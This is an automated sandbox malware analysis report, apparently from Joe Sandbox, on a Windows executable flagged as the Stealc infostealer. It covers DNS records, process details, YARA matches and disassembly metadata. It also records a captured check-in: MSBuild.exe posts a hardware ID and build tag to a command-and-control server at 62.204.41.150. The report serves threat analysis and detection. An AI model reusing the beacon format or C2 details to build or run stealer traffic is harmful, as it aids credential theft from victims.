Oct 8, 2024 03:24:05.821650982 CEST	1.1.1.1	192.168.2.10	0x4efd	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	s-part-0032.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 03:24:05.821650982 CEST	1.1.1.1	192.168.2.10	0x4efd	No error (0)	s-part-0032.t-0009.t-msedge.net		13.107.246.60	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:24:09.240936995 CEST	1.1.1.1	192.168.2.10	0xbdba	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Oct 8, 2024 03:24:09.240936995 CEST	1.1.1.1	192.168.2.10	0xbdba	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

62.204.41.150

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.10	49702	62.204.41.150	80	7744	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 8, 2024 03:24:07.192084074 CEST	88	OUT	GET / HTTP/1.1 Host: 62.204.41.150 Connection: Keep-Alive Cache-Control: no-cache
Oct 8, 2024 03:24:08.918643951 CEST	203	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:24:08 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 8, 2024 03:24:08.922218084 CEST	419	OUT	POST /edd20096ecef326d.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----DGCBAFIJDGHCAKECAEGC Host: 62.204.41.150 Content-Length: 219 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 46 31 43 32 33 35 30 37 34 36 46 43 33 30 37 31 38 35 39 34 36 30 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 65 66 61 75 6c 74 36 5f 64 6f 7a 0d 0a 2d 2d 2d 2d 2d 2d 44 47 43 42 41 46 49 4a 44 47 48 43 41 4b 45 43 41 45 47 43 2d 2d 0d 0a Data Ascii: ------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="hwid"F1C2350746FC3071859460------DGCBAFIJDGHCAKECAEGCContent-Disposition: form-data; name="build"default6_doz------DGCBAFIJDGHCAKECAEGC--
Oct 8, 2024 03:24:09.466948986 CEST	210	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 01:24:09 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	21:24:04
Start date:	07/10/2024
Path:	C:\Users\user\Desktop\MmcJhaiYNh.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\MmcJhaiYNh.exe"
Imagebase:	0x850000
File size:	505'344 bytes
MD5 hash:	AC01D961F8D6509A9363DE460482E87B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	21:24:04
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x2b0000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	21:24:04
Start date:	07/10/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
Imagebase:	0x690000
File size:	262'432 bytes
MD5 hash:	8FDF47E0FF70C40ED3A17014AEEA4232
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1325290714.0000000000DC7000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000003.00000002.1324651523.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	21:24:05
Start date:	07/10/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 7676 -s 248
Imagebase:	0x540000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	1.3%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	6.1%
Total number of Nodes:	229
Total number of Limit Nodes:	4

Executed Functions

Function 00852021 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 631
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualProtect.KERNELBASE(008CA6D8,?,00000040,?), ref: 00852738

Strings

S, xrefs: 0085206A
', xrefs: 00852718
a, xrefs: 00852296

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ProtectVirtual
String ID: '$S$a
API String ID: 544645111-1060379873
Opcode ID: 69d7fb36c3642ddbf4d6b596feddac60372dc724aa1eae8f18fd882818a87080
Instruction ID: 47fc0e54a180ba61e7fd45ce67640e4a86630739d3294de00ddcc57831646bd4
Opcode Fuzzy Hash: 69d7fb36c3642ddbf4d6b596feddac60372dc724aa1eae8f18fd882818a87080
Instruction Fuzzy Hash: 6CF1D117934E2F06E70860394C522E5A54AF7AB372FD14332BE23D73F4EB6949459285

Function 00868E2E Relevance: 4.7, APIs: 3, Instructions: 202
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__freea.LIBCMT ref: 00868FDD

Part of subcall function 00863A83: HeapAlloc.KERNEL32(00000000,0086A1AA,?,?,0086A1AA,00000220,?,?,?), ref: 00863AB5

__freea.LIBCMT ref: 00868FF2
__freea.LIBCMT ref: 00869002

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: __freea$AllocHeap
String ID:
API String ID: 85559729-0
Opcode ID: b12a6d0fbb90d32d5deffa79d2d45d07d0272859c9c17664acebd2c393d6d9fc
Instruction ID: 2f8f9e252dee470b1af94602f583009972c4609e4527b54fdce7a66eaeb9e87c
Opcode Fuzzy Hash: b12a6d0fbb90d32d5deffa79d2d45d07d0272859c9c17664acebd2c393d6d9fc
Instruction Fuzzy Hash: 5D51A0B260021AEFEF219F689C85EBB76AAFF44754B160629FD0CD6250EF71CC508761

Function 0086A3A6 Relevance: 3.2, APIs: 2, Instructions: 177
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00869ED6: GetOEMCP.KERNEL32(00000000,?,?,?,?), ref: 00869F01

IsValidCodePage.KERNEL32(-00000030,00000000,?,?,?,?,?,?,?,?,0086A1ED,?,00000000,?,?,?), ref: 0086A407
GetCPInfo.KERNEL32(00000000,?,?,?,?,?,?,?,?,0086A1ED,?,00000000,?,?,?), ref: 0086A449

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: CodeInfoPageValid
String ID:
API String ID: 546120528-0
Opcode ID: a289a12982272339f978839da0f348edd8a3571b9dd8fbe4be4f61691a6e205f
Instruction ID: 7370051fd163fa635149fcc61ed1edb60c3df0b0e5d79934638430d3e6f0f825
Opcode Fuzzy Hash: a289a12982272339f978839da0f348edd8a3571b9dd8fbe4be4f61691a6e205f
Instruction Fuzzy Hash: 44513470A003458FDB28CF75C8896AABBF4FF81304F16446ED086EB251EAB4D945CF52

Function 00866368 Relevance: 3.0, APIs: 2, Instructions: 34
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LCMapStringEx.KERNELBASE(?,00868F1C,?,?,00000000,?,00000000,00000000,00000000,00000000,00000000), ref: 0086639C
LCMapStringW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,?,?,00868F1C,?,?,00000000,?,00000000), ref: 008663BA

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: String
String ID:
API String ID: 2568140703-0
Opcode ID: 1fcef2b9ddfc87e44240817842863bc912ec06968acb8a69ab15dfa52649f139
Instruction ID: 018929741084f02926172cd3b479cd4a8fd2b7b8724de2bb76a83690dbd12ed8
Opcode Fuzzy Hash: 1fcef2b9ddfc87e44240817842863bc912ec06968acb8a69ab15dfa52649f139
Instruction Fuzzy Hash: B2F07A3200019ABBCF125F90DD09EDE3F26FF48364F068010FA18A5220DB32D971EB91

Function 00869FAA Relevance: 1.6, APIs: 1, Instructions: 147
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCPInfo.KERNEL32(E8458D00,?,0086A1F9,0086A1ED,00000000), ref: 00869FDC

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: Info
String ID:
API String ID: 1807457897-0
Opcode ID: 77cb4d2027631b061a78ba7374821e2c46078f496ebd8c7b4f8ac6da3da5459c
Instruction ID: 1774180200ca6cfdffb96803e18ec1206649e44891462326b5a4544b4c7c78df
Opcode Fuzzy Hash: 77cb4d2027631b061a78ba7374821e2c46078f496ebd8c7b4f8ac6da3da5459c
Instruction Fuzzy Hash: 67516A7190425CDADB218B28CC84BE67BBCFB46304F2405EDE19AE7182D275AD46DF22

Non-executed Functions

Function 008A094F Relevance: 19.6, Strings: 11, Instructions: 5885COMMON

Download Yara Rule

Strings

7.?j, xrefs: 008A0CCE
2- #, xrefs: 008A1899
-ms, xrefs: 008A199A
9]`V, xrefs: 008A166E
hw^ , xrefs: 008A1229
h2=?, xrefs: 008A1A71
+4#, xrefs: 008A1098
8@[*, xrefs: 008A13C4
G>q, xrefs: 008A0C20
6"k~, xrefs: 008A12F7
-]45, xrefs: 008A0C92

Memory Dump Source

Source File: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID: +4#$-]45$-ms$2- #$6"k~$7.?j$8@[*$9]`V$G>q$h2=?$hw^
API String ID: 0-103661567
Opcode ID: 7901161aae9f9da5d229c51b76c7ce90f08aceb943cd7e8fa9e8ea12c19d518a
Instruction ID: 772dba924be151c787c5416bf4cf3107c113f9824bad22bd9d9667b3cb08a5a0
Opcode Fuzzy Hash: 7901161aae9f9da5d229c51b76c7ce90f08aceb943cd7e8fa9e8ea12c19d518a
Instruction Fuzzy Hash: 1883427240E7D91EDB27CB344AB66A27F66FA132103194ACFC4C1CF8B3C6549916E366

Function 0086D39B Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1436COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0086D57F

Strings

1#INF, xrefs: 0086D4D1
1#QNAN, xrefs: 0086D4AE
1#IND, xrefs: 0086D4A0
1#SNAN, xrefs: 0086D4A7

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 4996aa6ff551bd6683e8c0b105b8822dad8926eea9d01f564a965adfbf7cf944
Instruction ID: ad9102cf33ae1fd8adf459cecdf2d39e85aa650004ee8e043fb5d200f9ea19ba
Opcode Fuzzy Hash: 4996aa6ff551bd6683e8c0b105b8822dad8926eea9d01f564a965adfbf7cf944
Instruction Fuzzy Hash: 9FD21871E086288FDB65CE28DD447EAB7B5FB45305F1541EAD80EE7240EB78AE818F41

Function 0086C814 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,0086CB32,00000002,00000000,?,?,?,0086CB32,?,00000000), ref: 0086C8AD
GetLocaleInfoW.KERNEL32(?,20001004,0086CB32,00000002,00000000,?,?,?,0086CB32,?,00000000), ref: 0086C8D6
GetACP.KERNEL32(?,?,0086CB32,?,00000000), ref: 0086C8EB

Strings

OCP, xrefs: 0086C868
ACP, xrefs: 0086C832

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: d3c653df5a25f9205bfff1cdccc7cdac8e390cc7fcd6772a77ebce10d94d6b32
Instruction ID: 0c7934b665774de430a419e106aa3b88bc5a471f44522fac4b31aed731c8d60e
Opcode Fuzzy Hash: d3c653df5a25f9205bfff1cdccc7cdac8e390cc7fcd6772a77ebce10d94d6b32
Instruction Fuzzy Hash: 0621AF72A00205EADB348F59C901AB773A6FF54F54B578434E98AE7205EB32DE40D750

Function 0086C9E9 Relevance: 7.7, APIs: 5, Instructions: 183COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00864EB1: GetLastError.KERNEL32(?,00000008,00869482), ref: 00864EB5
Part of subcall function 00864EB1: SetLastError.KERNEL32(00000000,0087C480,00000024,00860419), ref: 00864F57

GetUserDefaultLCID.KERNEL32(?,?,?,00000055,?), ref: 0086CAF5
IsValidCodePage.KERNEL32(00000000), ref: 0086CB3E
IsValidLocale.KERNEL32(?,00000001), ref: 0086CB4D
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 0086CB95
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 0086CBB4

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID:
API String ID: 415426439-0
Opcode ID: 0a7886cb386634a3b47f9a0b5d300dda331b83cff2e11a66333202297782c0a8
Instruction ID: 932530b004ad24224f473644e3292aa23d3e97798b773db1b9e90e98546f48d8
Opcode Fuzzy Hash: 0a7886cb386634a3b47f9a0b5d300dda331b83cff2e11a66333202297782c0a8
Instruction Fuzzy Hash: 6E518071A00219ABDF10DFA9DC46EBE77B8FF08711F164429E994E7290EB70DA44CB61

Function 0086C085 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 251COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00864EB1: GetLastError.KERNEL32(?,00000008,00869482), ref: 00864EB5
Part of subcall function 00864EB1: SetLastError.KERNEL32(00000000,0087C480,00000024,00860419), ref: 00864F57

GetACP.KERNEL32(?,?,?,?,?,?,00861848,?,?,?,00000055,?,-00000050,?,?,00000004), ref: 0086C146
IsValidCodePage.KERNEL32(00000000,?,?,?,?,?,?,00861848,?,?,?,00000055,?,-00000050,?,?), ref: 0086C171
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078,-00000050,00000000,000000D0), ref: 0086C2D4

Strings

utf8, xrefs: 0086C243

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ErrorLast$CodeInfoLocalePageValid
String ID: utf8
API String ID: 607553120-905460609
Opcode ID: c8bbf00ceb56ba13abbff1da3e5b00cce465bc90bb5586dbcf3b2de48564f047
Instruction ID: 533af4fb7350c09dbab4c09c7be7b83efc06e716712a8066c5d7e547f33166d9
Opcode Fuzzy Hash: c8bbf00ceb56ba13abbff1da3e5b00cce465bc90bb5586dbcf3b2de48564f047
Instruction Fuzzy Hash: 49711A71600306ABDB24BBB9DC46FBA73A8FF45704F164029F985D7281FB74D94087A1

Function 00863C92 Relevance: 6.3, APIs: 4, Instructions: 337COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00863D1F

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction ID: 55b178b8e120bc562cb5efac809765873eea9518811a20fda36430cb45bd01e4
Opcode Fuzzy Hash: 40f0e063838af908aa0c23a01ee66fead67f3bdac29e3056e6e3dd52480c6ad0
Instruction Fuzzy Hash: 2AB17932E042499FDB158F68C881BEEBBB5FF55310F16816AE805EB341D635DE05C7A1

Function 00857922 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 0085792E
IsDebuggerPresent.KERNEL32 ref: 008579FA
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00857A13
UnhandledExceptionFilter.KERNEL32(?), ref: 00857A1D

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 25212f841690624459258c55e56e6898d0f08546f2cf475cd06d8d3323699859
Instruction ID: 856d318e72bb33df819332921330f01b3a7b8c4a756a5072ec726a59af7d7436
Opcode Fuzzy Hash: 25212f841690624459258c55e56e6898d0f08546f2cf475cd06d8d3323699859
Instruction Fuzzy Hash: 9431FA75D052289BDB21DF64D9497CDBBB8FF08301F1041DAE80CAB250EB709B898F46

Function 0086C498 Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00864EB1: GetLastError.KERNEL32(?,00000008,00869482), ref: 00864EB5
Part of subcall function 00864EB1: SetLastError.KERNEL32(00000000,0087C480,00000024,00860419), ref: 00864F57

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0086C4EC
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0086C536
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 0086C5FC

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: 00df77aaabdfe1036e31b337fb92981dd9bad763cca8d9aedf476dc6a38f8151
Instruction ID: a23aee531bccec977e77278505d5348f68245480ecc36c2c4089157e78ba70ec
Opcode Fuzzy Hash: 00df77aaabdfe1036e31b337fb92981dd9bad763cca8d9aedf476dc6a38f8151
